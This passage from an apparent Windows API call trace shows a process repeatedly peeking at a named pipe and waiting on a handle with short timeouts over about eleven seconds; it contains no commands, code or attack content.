lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.945] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0113.987] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0113.987] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.008] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.008] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.039] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.071] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.101] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.102] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.133] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.133] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.164] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.195] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.195] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.259] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.289] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.289] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.320] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.351] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.351] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.382] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.382] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.414] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.444] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.445] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.476] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.476] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.522] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.538] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.569] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.569] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.601] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.601] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.632] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.632] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.667] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.694] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.694] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.725] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.726] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.757] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.802] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0114.819] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0114.819] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.402] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.450] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.662] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.666] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.867] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.867] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.013] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.015] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.539] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.539] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.605] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.605] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.644] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.644] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.307] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.600] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.624] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.624] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.655] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.655] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.686] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.686] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.723] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.769] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.809] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.809] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.827] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.858] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.858] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.903] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.903] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.920] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.920] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.951] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.951] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.985] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.985] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.014] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.014] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.045] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.045] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.077] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.110] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.110] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.140] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.140] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.170] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.170] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.215] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.473] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.627] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.931] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.931] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.952] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.952] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.056] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.056] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.509] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.767] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.767] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.801] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.801] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.082] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.082] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.702] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.702] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.755] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.938] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | 